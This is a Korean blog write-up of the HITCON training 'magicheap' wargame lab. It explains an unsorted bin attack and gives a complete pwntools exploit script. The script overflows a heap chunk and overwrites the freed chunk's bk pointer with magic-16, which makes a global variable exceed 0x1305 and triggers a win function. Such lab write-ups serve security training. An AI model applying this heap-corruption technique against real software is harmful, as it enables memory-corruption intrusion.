hint : unsorted bin attack


우선 이 문제는 쉘을 직접 획득하지 않고 magic이라는 전역변수에 0x1305보다 큰 값이 들어가면 l33t()라는 함수를 실행시켜준다.

unsroted bin attack으로 magic변수에 값을 넣어주면 문제를 해결할 수 있다.


우선 unsorted bin attack이 가능하게 할 조건은 아래와 같다.

1. 공격자에 의해 Unsorted chunk를 생성 할 수있어야 한다. 

2. 공격자에 의해 Free chunk 영역에 값을 저장 할 수 있어야 한다. 

3. 공격자에 의해 Free chunk 와 동일한 크기의 Heap 영역을 할당 할 수 있어야 한다.


이 문제는 위 조건에 대해 막는 부분이 없기 때문에 손쉽게 익스를 할 수 있다.


익스 방법은 create()함수로 3번의 할당을 받는다.

그리고 delete()로 두번째 heap영역을 free시켜주면 unsorted bin chunk가 생긴다.

그 다음 첫번째 heap 영역을 edit()함수로 오버플로우해서 2번째 chunk의 bk를 magic - 16으로 덮는다.


그리고 다시 create()함수로 free된 chunk의 사이즈와 같은 사이즈로 새 할당을 받으면 bk값을 확인한 후 다음 chunk가 존재한다고 판단해서 main_arena+88의 주소를 magic에 넣게 된다.

free() 함수는 magic - 16 영역이 다음 chunk이기 때문에 fd 영역(magic)에 free chunk의 fd값을 저장한다.


exploit code

from pwn import *

def create(size, content):
	r.sendline("1")
	#r.recv()
	r.sendline(str(size))
	#r.recv()
	r.send(content)
	#r.recv()

def edit(index, size, content):
	r.sendline("2")
	#r.recv()
	r.sendline(str(index))
	#r.recv()
	r.sendline(str(size))
	#r.recv()
	r.sendline(content)
	#r.recv()

def delete(index):
	r.sendline("3")
	#r.recv()
	r.sendline(str(index))
	#r.recv()

if __name__ == "__main__":
	r = process("./magicheap")

	create(150, "AAAA")
	create(150, "BBBB")
	create(150, "CCCC")

	delete(1)

	payload = "D"*152
	payload += p64(0xa1)
	payload += p64(0)
	payload += p64(0x6020b0)

	edit(0, 176, payload)
	pause()

	create(150, "1111")

	r.sendline("4869")
	r.interactive()




'Wargame > Hitcon training' 카테고리의 다른 글

HITCON training lab11 (house of force)  (0) 2018.10.29
HITCON training lab10  (0) 2018.10.25
HITCON training lab6  (0) 2018.10.22
HITCON training lab4  (0) 2018.10.18
HITCON training lab5  (0) 2018.10.16

+ Recent posts